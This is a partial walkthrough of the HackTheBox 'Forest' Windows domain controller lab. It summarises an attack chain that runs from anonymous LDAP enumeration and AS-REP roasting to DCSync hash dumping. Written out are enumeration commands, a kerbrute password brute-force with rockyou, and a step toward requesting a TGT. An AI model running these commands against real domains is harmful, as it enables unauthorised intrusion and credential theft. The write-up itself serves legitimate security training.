Forest 10.10.10.161
Forest is an "Easy" difficulty Windows machine. It is a Windows Domain Controller (DC) and installed an Exchange server, it requires the DC enumeration technique and Kerberos knowledge.
Anonymous LDAP can be used to access the DC server and enumerate domain objects. A service account was found in which the Kerberos pre-authentication disabled, it can be cracked to gain the initial access. This service was a member of the "Account Operators" group, which can be used to create a privileged Exchange account.
Finally, this privileged account was leveraged to gain DCSync privileges on the domain and dump the NTLM hashes.

Kerberos - Port 88
enum4linux 10.10.10.161, get the basic information of the target machine
nmap -p 389 --script ldap-rootdse 10.10.10.161
ldapsearch -x -h 10.10.10.161 -b "DC=htb,DC=local"
Keep this information for later use
Domain: HTB with the following user
HTB\sebastien
HTB\lucinda
HTB\svc-alfresco
HTB\andy
HTB\mark
HTB\santi
Anonymous SMB login does not allow, SMB service does not available if no user credential
smbclient -I 10.10.10.161 -L andy
smbmap -R Replication -H 10.10.10.161
Using the kerbrute to evaluate those user accounts found at above
../../../tools/win/kerbrute/kerbrute.py -domain htb.local -users ./user.list -passwords /usr/share/wordlists/rockyou.txt -outputfile forest_passwords.txt
It finds that the svc-alfresco account is “not preauth” account. Try to get the TGT using getNPUsers
Add the 10.10.10.161 to hosts file for the htb.local and try again
